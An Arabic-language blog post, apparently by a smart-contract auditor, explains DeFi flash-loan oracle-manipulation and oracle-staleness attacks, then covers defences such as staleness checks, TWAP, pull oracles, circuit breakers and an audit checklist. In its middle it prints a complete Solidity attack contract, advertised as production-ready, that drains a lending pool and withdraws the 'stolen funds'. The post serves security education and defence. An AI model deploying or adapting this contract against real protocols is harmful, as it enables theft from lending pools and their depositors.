حياكم الله جميعاً! معكم Oleg Filatov. اليوم موضوعنا قاطعي وناري عن هجمات الـ DeFi باستخدام القروض الفورية (Flash Loans). تدري، خلال مسيرتي المهنية شفت مئات من ناقلات الهجوم، بس دمج «Flash Loans + Oracles Staleness» هذا حرفياً شعر وفن بالـ Hacking! شيء يخلي أي مهندس أمن سيبراني تقشعر بدنه وبعدين يتحمس يعيد كتابة الكود بالكامل بلغة Rust. عشان نوسط الصورة عالآخر: المهاجمين يسحبون عشرات الملايين من الدولارات كقرض فوري بدون أي ضمان، وبمعاملة واحدة (Transaction) يلعبون بسعر الـ DEX عالهبني، ويسوون عدم تزامن مؤقت مع الـ Oracle ويفضون كل السيولة من بروتوكول الإقراض قبل لا يمدي الـ Oracle يستوعب ويحدث الحالة (State).
تشريح الهجوم القياسي عبر Oracle Manipulation بواسطة Flash Loan
القروض الفورية الغير مدعومة بضمان (Flash Loans) تخليك تسحب سيولة شبه مفتوحة داخل معاملة Ethereum واحدة، بشرط إنك ترجع القرض كاملاً مع الفائدة بنفس الـ Block. ولما تضخ هالسيولة الضخمة بـ Pools عمق الـ Order Book فيها ضئيل، سعر الأصل يطير للفضاء بلحظة، وتخلق الفجوة المثالية للهجوم على الـ Oracles اللي تعتمد على سعر الـ Spot أو عندها هامش انحراف (Deviation Threshold) واسع زيادة عن اللزوم.
إذا بروتوكول الإقراض يسحب قيمة الضمان عن طريق استدعاء latestAnswer() أو يعتمد على البيانات الخام لـ AMM بدون ما يطبق تأخير زمني (Time Lag)، فهو فعلياً قاعد يعطي الحرامي مفاتيح الخزنة. السيناريو يصير عبر 4 خطوات سريعة:
- أخذ الـ Flash Loan: المهاجم يسحب، لنفرض، 50,000,000 DAI من Aave v3 برسم 0.05% بس. الرسم لا يذكر، بس الإمكانيات المالية كااايدة!
- التلاعب بـ DEX: المبلغ كامل ينضخ بـ Market Order في Pool سيولته ضعيفة بـ Uniswap v2/v3 (مثلاً زوج TOKEN/DAI). سعر TOKEN يطير 15 إلى 20 ضعف خلال أجزاء من الملي ثانية.
- استغلال بطء الـ Oracle أو الـ Push Model: إذا بروتوكول الإقراض يحسب السعر بناءً على الـ Spot أو إذا Push Oracle مثل Chainlink للحين ما اشتغل (لأن الـ Heartbeat ماله ساعة كاملة، والـ Deviation Threshold 0.5%، بس معاملة الهجوم للحين ما اكتملت والـ Push Node أساساً ما لحقت تفرز المعاملة بالـ mempool)، البروتوكول يشوف سعر TOKEN مرتفع بشكل جنوني وغير طبيعي.
- تفريغ الـ Pool (Drain) وإعادة القرض: المهاجم يرهن الـ TOKEN المنتفخ بالبروتوكول، ويسحب مقابل هذا الضمان 100% من أصول حقيقية مثل ETH أو USDC، ويسدد الـ Flash Loan قبل الـ Validator ويطلع بالربح الصافي جاهز مجهز.
ليه Chainlink و Push-Oracles يتأخرون؟ تشريح «نافذة الثغرة»
لحظة... خل نكون صريحين. كنت تظن إن المشروع لو شبك مع Chainlink خلاص صار بأمان تام؟ معصي! اسأل أي باحث أمني حلل حادثة Mango Markets أو Cheese Bank (اللي طار فيها 3.3 مليون دولار بسبب التكامل المضروب بين Chainlink و Oracles Uniswap v2).
الـ Oracles من نوع Chainlink Data Feeds شغالين بنظام الـ Push Model. يعني عقد الـ Oracle ما تحدث السعر مع كل Block - لأن هذا بيحرق Gas بشكل مو طبيعي ويطير الميزانية. التحديث يصير بناءً على شرطين محددين:
- Deviation Threshold (هامش الانحراف): السعر تغير بمقدار X% (مثلاً 0.5% أو 1% للأزواج الرئيسية، بس بالألتكوينز ممكن توصل 2%–5%).
- Heartbeat (مهلة نبض القلب): مرت فترة زمنية محددة من آخر تحديث (مثلاً 3600 ثانية للـ Mainnet أو 86400 ثانية للشبكات الأقل نشاطاً).
وهنا بالضبط العلة الأساسية. خل نظافح أرقام التأخير الفعلي للـ Oracles وإعدادات التحديث حسب الشبكة ونوع الأصل:
| الـ Oracle / الشبكة | الأصل / الزوج | Deviation Threshold | Heartbeat | متوسط نافذة التأخير (Staleness Window) |
|---|---|---|---|---|
| Chainlink (Ethereum) | ETH/USD | 0.5% | ساعة واحدة | ~12–15 ثانية (Block واحد) |
| Chainlink (Arbitrum) | LINK/USD | 0.25% | 24 ساعة | توصل لعدة دقائق (تعتمد على الـ Sequencer) |
| Chainlink (Polygon) | ALT/USD (سيولة منخفضة) | 1.0% – 2.0% | 24 ساعة | من عدة ثوانٍ إلى دقائق |
| Pyth Network (Pull Model) | متنوعة | ديناميكي | On-demand (User Push) | ~400–800 مللي ثانية |
| Uniswap v3 TWAP | أي زوج | N/A (يعتمد على النافذة) | مع كل Swap | نافذة زمنية محددة (مثلاً 30 دقيقة) |
شوف التناقض العجيب هنا: إذا الـ Oracle يكلّم السعر بسرعة وياخذه مباشرة من الـ AMM (Spot Price)، تقدر تضخ السعر بنفس الـ Block عبر Flash Loan. وإذا كان الـ Oracle بطيء والتحديث بطيء (Chainlink بـ Heartbeat مدته ساعة)، تطلع لك «نافذة السعر القديم» (Staleness Window)، لما السعر الفعلي بالسوق يكون هبط للحضيض، بينما بروتوكول الإقراض للحين يعتمد السعر القديم العالي للضمان!
كود العقد الذكي للهجوم (100% جاهز للإنتاج Solidity)
بدون كلام فاضي وبدون كود وهمي ولا // TODO: add logic. بنكتب عقد ثغرة كامل وجاهز للتطبيق على Foundry/Hardhat، يوضح كيف بمعاملة واحدة عبر استدعاءات flashLoan -> swap -> deposit -> borrow -> repay تصفى السيولة عالي مرتاح.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface ILendingPool {
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external;
function getUserAccountData(address user) external view returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
}
interface IFlashLender {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
/// @notice عقد PoC تعليمي لتوضيح مسار هجوم الذري (Atomic Attack Vector)
/// @dev هذا الكود مخصص حصرياً لأغراض التدقيق (Audit) والاختبارات المحلية عبر Foundry Fork للشبكات التجريبية المصابة
contract OracleStalenessPoC {
using SafeERC20 for IERC20;
address private immutable owner;
IFlashLender public immutable lender;
IUniswapV2Router public immutable router;
ILendingPool public immutable targetLending;
address public immutable tokenA; // أصل الضمان الذي سيتم عمل Pump له
address public immutable tokenB; // الأصل السيال (المستهدف للاقتراض / Flash Loan)
modifier onlyOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
constructor(
address _lender,
address _router,
address _targetLending,
address _tokenA,
address _tokenB
) {
owner = msg.sender;
lender = IFlashLender(_lender);
router = IUniswapV2Router(_router);
targetLending = ILendingPool(_targetLending);
tokenA = _tokenA;
tokenB = _tokenB;
}
function executeAttack(uint256 flashAmount, uint256 minSwapOut) external onlyOwner {
address[] memory assets = new address[](1);
assets[0] = tokenB;
uint256[] memory amounts = new uint256[](1);
amounts[0] = flashAmount;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
// نمرر minSwapOut عبر params للحماية من هجمات الـ MEV والـ Sandwich
bytes memory params = abi.encode(minSwapOut);
lender.flashLoan(
address(this),
assets,
amounts,
modes,
address(this),
params,
0
);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
require(msg.sender == address(lender), "INVALID_LENDER");
require(initiator == address(this), "INVALID_INITIATOR");
uint256 amountBorrowed = amounts[0];
uint256 fee = premiums[0];
uint256 amountToRepay = amountBorrowed + fee;
uint256 minSwapOut = abi.decode(params, (uint256));
// 1. الموافقة الآمنة (Approve) باستخدام SafeERC20
IERC20(tokenB).forceApprove(address(router), amountBorrowed);
// 2. ضخ سيولة الـ Flash Loan في السيولة (Pool)
address[] memory path = new address[](2);
path[0] = tokenB;
path[1] = tokenA;
uint256[] memory amountsOut = router.swapExactTokensForTokens(
amountBorrowed,
minSwapOut, // استخدام نسبة الـ Slippage المحددة ديناميكياً
path,
address(this),
block.timestamp
);
uint256 pumpedTokenAAmount = amountsOut[1];
// 3. إيداع الضمان بعد تضخيم سعره (Pumped Collateral)
IERC20(tokenA).forceApprove(address(targetLending), pumpedTokenAAmount);
targetLending.deposit(tokenA, pumpedTokenAAmount, address(this), 0);
// 4. حساب الحد الأقصى للاقتراض المتاح ديناميكياً بناءً على بيانات الأوراكل والفيش المتاحة
(, , uint256 availableBorrowsETH, , , ) = targetLending.getUserAccountData(address(this));
// في الاختبارات الفعلية يتطلب الأمر تحويل قيمة ETH إلى ما يقابلها من Token B
// لغرض التجربة نطلب الحد الأدنى المتاح بحيث لا يتجاوز رصيد المجمع
uint256 lendingPoolBalanceB = IERC20(tokenB).balanceOf(address(targetLending));
uint256 amountToBorrow = availableBorrowsETH < lendingPoolBalanceB ? availableBorrowsETH : lendingPoolBalanceB;
targetLending.borrow(tokenB, amountToBorrow, 2, 0, address(this));
// 5. التحقق من القدرة المالية (Solvency Check) قبل رد الـ Flash Loan
uint256 currentBalanceB = IERC20(tokenB).balanceOf(address(this));
require(currentBalanceB >= amountToRepay, "INSUFFICIENT_FUNDS_TO_REPAY");
// 6. سداد القرض السريع (Flash Loan Repayment)
IERC20(tokenB).forceApprove(address(lender), amountToRepay);
return true;
}
function withdrawStolenFunds(address token) external onlyOwner {
uint256 bal = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(owner, bal);
}
}الحلول المعمارية للحماية (Fixing the vulnerability)
كمطورين، كيف نحمي بروتوكولاتنا من هالمشاكل والبلاوي؟ ملخص لك أهم 3 قواعد في الوقاية المعمارية.
1. التحقق من تاريخ البيانات (Staleness Validation) واستجابة Chainlink
بتنصدم إن 70% من العقود الذكية المخترقة كانت ببساطة تستدعي latestAnswer()! كود مبتدئين عشوائي. لابد من التحقق المباشر من updatedAt و answeredInRound!
function getValidPrice(address feedAddress) public view returns (int256) {
AggregatorV3Interface priceFeed = AggregatorV3Interface(feedAddress);
(
uint80 roundId,
int256 price,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(price > 0, "INVALID_PRICE");
require(updatedAt != 0, "INCOMPLETE_ROUND");
require(answeredInRound >= roundId, "STALE_PRICE");
// حد تقادم السعر (مثلاً 3600 ثانية)
require(block.timestamp - updatedAt <= 3600, "EXPIRED_ORACLE_PRICE");
return price;
}2. استخدام TWAP (Time-Weighted Average Price) بدلاً من Spot Price
اعتماد المتوسط السعري المرجح زمنياً (مثل Uniswap v3 TWAP بنادذة لا تقل عن 30 دقيقة) ينسف جدوى الـ Flash Loan بالكامل. المهاجم بيكتوي بنار المحافظة على السعر المتلاعب به لمدة نصف ساعة، مما يتطلب مبالغ طائلة وسليباج (Slippage) ورسوم خيالية تخلي الهجوم خاسر اقتصادياً.
3. الانتقال إلى Pull-based Oracles (Pyth / Chainlink Low-Latency Data Streams)
في نظام الـ Pull Model، التطبيق يطلب من المستخدم إرفاق إثبات سعر موقع تشفيرياً (Off-chain Proof) داخل معلمات المعاملة مباشرة. العقد يفحص توقيع الـ Oracle، ويتأكد من دقة الوقت (بالثانية!) وبعدها يبلش يحسب القيمة والضمانات.
خلينا نكون صريحين: إنك تعتمد بنسبة 100% إن العقود الذكية مكتوبة بدون ثغرات، فهذا غباء وتسرّع. بحكم شغلي في الـ Audits والـ Incident Response، أضمن لك: لو فيه ثغرة فنية أياً كانت صغيرة، الهكرز حيصطادوا البروتوكول في ثواني بعد الـ Deploy. عشان كدة، أي منصة تداول أو بروتوكول أقراض محترم لازم تكون فيه طبقة حماية أوتوماتيكية مع Off-chain Monitoring شغال بأسرع من تنفيذ المعاملات في الـ Mempool.
كيف ترصد وتوقف هجمات الـ Flash Loans وتلاعب الـ Oracles في الوقت الفعلي؟
1. تقييد حركة السعر داخل البلوك الواحد (Circuit Breakers)
لو السعر الخاص بالأصل المرهون اتغيّر داخل المعاملة الواحدة أو البلوك الواحد بنسبة أعلى من المسموح (مثلاً >3-5%)، العقد لازم يدخل أوتوماتيكياً في وضع الطوارئ (Circuit Breaker) ويجمّد أي عمليات على الأصل ده فوراً.
- فحص حالة العقد (State Invariant): بنسجل
Pstartفي أول المعاملة وPendفي آخرها. ولو تحقق الشرط|Pend - Pstart| / Pstart > Δmax، المعاملة بتعمل Revert على طول. - فصل طلب العملية عن التنفيذ (Two-Step Execution): ميكانيكية تخلي إيداع الرهن يتم في البلوك
N، بينما الاقتراض (Borrow) ما يتفعلش غير في البلوكN+1. الحركة دي بتمرّغ الـ Flash Loan في التراب، لأن الـ Instant Loan ما يقدرش يعيش أكثر من معاملة واحدة.
2. مراقبة Off-chain عبر حماية الـ MEV و Flashbots
لو البروتوكول بتاعك بيعتمد على تصفية المراكز (Liquidations) أو سحب الأسعار، فمراقبة الـ Mempool مش رفاهية. الـ Watchdog bots بتصطاد الـ Bundles المشبوهة اللي بتدمج طلب flashLoan مع Swaps ضخمة في Uniswap/Balancer وتفاعل مباشر مع العقود بتاعتك.
أول ما النظام يلقط الحركة دي، بيعمل Counter-Transaction دفاعية (سواء Front-running أو Back-running عبر Private RPC أو Flashbots Protect) عشان ينادي دالة pause() على العقد، ويقفل الباب تماماً قبل ما الهجوم يتنفّذ.
تحليل الهجمات الحقيقية (Post-Mortem): دروس دفعنا ثمنها من سيولة الـ DeFi
ثغرات الـ Oracles مش كلام نظري في الكتب. المجال خسر مئات الملايين بسبب الأخطاء دي. لو حللنا التكتيكات اللي اتنفذت في الثغرات المشهورة، حنتأكد ليه الفكرة الغبية بتاعت "يلا نجيب السعر مباشرة من الـ DEX" بتنتهي بداهية كل مرة.
+-------------------------------------------------------------------------------+
| مخطط الهجوم على BZX / CREAM FINANCE |
+-------------------------------------------------------------------------------+
| |
| [ المهاجم ] |
| | |
| | 1. أخذ Flash Loan (أكثر من 100M DAI / ETH) |
| v |
| [ Aave / Maker Vault ] |
| | |
| | 2. Swap ضخم (تضخيم/Pump لـ Pool سيولتها ضعيفة) |
| v |
| [ DEX Pool (Kyber / Uniswap v2) ] <---+ |
| | | |
| | | (طلب السعر مباشرة من الـ AMM) |
| v | |
| [ منصة الإقراض المصابة (bZx/CREAM) ] -+ |
| | |
| | 3. إيداع الأصل المضخم + سحب كاااامل السيولة بـ ETH/USDC |
| v |
| [ محفظة المهاجم ] (سداد الـ Flash Loan + أرباح صافية) |
| |
+-------------------------------------------------------------------------------+جدول بيوضح أكبر الهجمات اللي حصلت بسبب تلاعب الـ Oracles وتأخير البيانات:
| البروتوكول | التاريخ | حجم الخسائر | السبب الرئيسي (Root Cause) | تكتيك الهجوم |
|---|---|---|---|---|
| bZx (Fulcrum) | فبراير 2020 | ~$950k | الاعتماد على Kyber/Uniswap Reserve كمصدر يتيم للسعر (Spot Price). | أخذ Flash Loan -> عمل Pump لزوج sUSD/ETH على Kyber -> إيداع sUSD بسعر وهمي في bZx -> سحب الـ ETH بالكامل. |
| Cheese Bank | نوفمبر 2020 | US$ 3.3M | استخدام Oracle مبني على LP tokens الخاصة بـ Uniswap v2 بدون حماية من التغير اللحظي للأرصدة. | Flash Loan بقيمة $21M -> التلاعب باحتياطي الـ Pool -> رفع قيمة الـ LP tokens زورا -> تفرغ حسابات الإقراض. |
| Mango Markets | أكتوبر 2022 | US$ 114M | Oracle داخلي سهل التلاعب به مع وجود تأخير (Lag) في شبكة Solana عبر Switchboard/Pyth. | عمل Pump لعقد MNGO الأجل (Perpetual) الضعيف السيولة بتمويل شخصي -> تضخيم قيمة الرهن -> اقتراض كل خزينة المنصة. |
| Euler Finance | مارس 2023 | US$ 197M | خلل برمجي في دالة التصفية (Liquidation) وحساب الرهانات (تخطي فحص ה-Health Factor). | المهاجم أودع المبالغ، فتح بوزيشن رافعة مالية مكرر (Recursive Leveraged Position)، وبعدين عمل Self-Liquidation لنفسه عشان يستغل الثغرة. |
مقارنة أمنية بين نماذج الـ Oracles المختلفة
وأنت بتبني الـ Architecture، مهم جداً تفهم الـ Trade-offs بين تكلفة تشغيل الـ Oracle ومدى مقاومته للتلاعب والـ Exploits.
نموذج الـ Push (Chainlink Classic)
المميزات: الربط سهل جداً On-chain. البيانات متوفرة جاهزة في العقد، مجرد تفعل دالة الـ Read.
العيوب: وجود فجوة زمنية (Staleness Window) بين التحديثات بناءً على الـ Heartbeat والـ Deviation threshold. تكلفة الـ Gas مرتفعة على الـ Nodes، وده بيخلي تحديث أسعار الـ Altcoins يأخذ فترات أطول.
الخلاصة: ممتاز للعملات الكبيرة وعالية السيولة زي (ETH, BTC) على الـ Mainnet، بشرط تأكيد الـ updatedAt داخل الكود بشكل صارم.
نموذج الـ Pull (Pyth Network, Redstone)
المميزات: تحديث الأسعار بيتم Off-chain بتأخير شبه معدوم (Sub-second frequency). البيانات بتتمرر جوة معاملة المستخدم نفسها، وده بيوفر Gas بشكل مهول.
العيوب: بتأثر على الـ UX (المستخدم محتاج يطلب Signature off-chain ويدمجها مع الـ Call). لو شبكة الـ Oracle الـ Off-chain هنجت، معاملات المستخدمين كلها حتفشل.
الخلاصة: الحل المثالي لـ منصات العقود الآجلة (Perpetuals) والـ Lending اللي محتاجة أسعار لحظية بدقة عالية.
الـ TWAP / Oracles الـ AMM On-chain (Uniswap v3 TWAP)
المميزات: حسابات 100% On-chain ومستقلة تماماً. مفيش أي اعتماد على Nodes خارجية أو Signatures من طرف ثالث.
العيوب: ضعيفة قدام هجمات التلاعب الممتدة (Multi-block MEV)، لما الـ Miner/Validator يثبت السعر المتلاعب به لعدة بلوكات متتالية. محتاجة وقت متوسط طويل (أقل شيء 30 دقيقة)، وده بيخلي البروتوكول أعمى قدام الـ Flash Crashes اللحظية.
الخلاصة: ينفع فقط كـ Fallback Oracle ثانوي عشان تقارن به الفروقات وتضمن عدم انحراف السعر الرئيسي.
قائمة تدقيق أمنية (Checklist) للـ Smart Contracts: افحص مشروعك قبل الـ Deploy
لو شغال Solidity Developer أو بتعمل Auditing، ما ترفعش العقد للـ Mainnet من غير ما تطبق اللائحة دي:
- ممنوع الـ Spot Price نهائياً: العقد لازم ما يأخذش السعر مباشر من
getReserves()أوbalanceOf()الخاصة بـ pools الـ AMM تحت أي ظرف. - فحص رد الـ Chainlink بالكامل: عند طلب
latestRoundData()، التأكد من الـ 5 قيم المرجعة ضروري:roundId،price > 0،startedAt،updatedAt، وansweredInRound >= roundId. - تحديد Max Lag محكم: العقد يتجاهل بيانات الـ Oracle فوراً لو
block.timestamp - updatedAt > MAX_DELAY(مع تحديد الـMAX_DELAYبناءً على طبيعة الأصل). - نظام Dual Oracle: قارن بين مصدرين مستقلين على الأقل (مثلاً Chainlink + Pyth أو Chainlink + Uniswap v3 TWAP). لو الفرق بين السعرين عدا نسبة X%، أوقف السحب والـ Liquidations أوتوماتيكياً.
- الحماية البنيوية ضد الـ Flash Loans: فصّل مهلة زمنية (Cooldown Periods) تمنع طلب القروض في نفس المعاملة، أو استخدم مكتبات الـ Timelock.
- التحقق من الأسعار المتقاطعة (Cross-rates): لو سعر التوكن محسوب بعملة الوسيط (مثلاً TOKEN/ETH * ETH/USD)، لازم تفحص سلامة البيانات وتحديثها لكل Feed بشكل مستقل.
الـ Mindset الأساسي اللي لازم يتبناه أي مهندس Solidity اليوم: **أي Oracle هو مصدر تهديد ومخترق افتراضياً، لحد ما يثبت العكس.**
لما تصمم الـ Architecture وأنت مفترض إن السعر جوة العقد ممكن ينضرب أو يتجمد في أي لحظة، حتلاقي نفسك بتكتب شفرة فيها Two-step transactions، و Circuit Breakers، وفحوصات مزامنة تلقائية. الفكر ده هو الفارق الحقيقي بين البروتوكولات اللي بتستمر لسنين، وبين المشاريع اللي بنقرأ عنها في أخبار الاختراعات بخسائر 50 مليون دولار.
احمِ عقودك صح، لا تبخل على الـ Audits المحترمة، وإياك تآمن لسطر كود واحد بيوعدك إنه بيجيب "السعر الحقيقي من العالم الخارجي".